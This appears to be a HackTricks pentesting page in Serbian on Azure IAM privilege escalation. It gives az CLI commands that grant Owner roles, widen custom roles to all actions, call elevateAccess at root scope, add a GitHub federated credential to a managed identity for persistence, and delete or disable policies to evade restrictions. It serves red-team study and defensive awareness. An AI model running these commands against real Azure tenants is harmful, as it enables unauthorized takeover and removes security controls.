Az - Azure IAM Privesc (Autorizacija)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Azure IAM

Za više informacija pogledajte:

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

Ovo dopuštenje omogućava dodeljivanje uloga principalima nad određenim opsegom, omogućavajući attacker-u da eskalira privilegije dodeljivanjem sebi privilegovanije uloge:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

Ova dozvola omogućava izmenu dozvola dodeljenih roli, što napadaču omogućava eskalaciju privilegija dodeljivanjem većih ovlašćenja roli koju ima.

Kreirajte fajl role.json sa sledećim sadržajem:

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

Zatim ažurirajte dozvole uloge koristeći prethodnu definiciju pozivajući:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

Ova dozvola omogućava podizanje privilegija i dodeljivanje ovlašćenja bilo kojem principal-u nad Azure resources. Namenjena je Entra ID Global Administrators tako da oni takođe mogu upravljati permissions nad Azure resources.

Tip

Mislim da korisnik treba da bude Global Administrator u Entra ID da bi elevate poziv radio.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Ova dozvola omogućava dodavanje Federated credentials na managed identities. Na primer, može se dodeliti pristup Github Actions u repo jednoj managed identity. Zatim, omogućava pristup bilo kojoj korisnički definisanoj managed identity.

Primer komande za dodeljivanje pristupa repo-u na Github-u jednoj managed identity:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Napadač koji poseduje dozvolu Microsoft.Authorization/policyAssignments/write ili Microsoft.Authorization/policyAssignments/delete nad management group, subscription, ili resource group može izmeniti ili obrisati Azure policy assignments, potencijalno onemogućivši sigurnosna ograničenja koja blokiraju određene operacije.

To omogućava pristup resursima ili funkcionalnostima koje su prethodno bile zaštićene politikom.

Obriši dodelu politike:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Onemogućite dodelu politike:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Proverite izmene:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Napadač sa dozvolom Microsoft.Authorization/policyDefinitions/write može izmeniti Azure definicije politika, menjajući pravila koja kontrolišu bezbednosna ograničenja u celom okruženju.

Na primer, politika koja ograničava dozvoljene regione za kreiranje resursa može biti izmenjena da dozvoli bilo koji region, ili se efekat politike može promeniti tako da postane neefikasan.

Izmeniti definiciju politike:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Proverite promene:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Napadač koji ima dozvolu Microsoft.Management/managementGroups/write može izmeniti hijerarhijsku strukturu management groups ili kreirati nove management groups, potencijalno zaobilazeći restriktivne politike primenjene na višim nivoima.

Na primer, napadač može kreirati novu management group bez restriktivnih politika i zatim premestiti subscriptions u nju.

Kreirajte novu management group:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Izmenite hijerarhiju management grupe:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Proverite izmene:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Napadač sa dozvolom Microsoft.Management/managementGroups/subscriptions/write može premestiti pretplate između management groups, potencijalno izbeći restriktivne politike premestivši pretplatu u grupu sa manje restriktivnim ili bez politika.

Premestite pretplatu u drugu management group:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Proverite promene:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks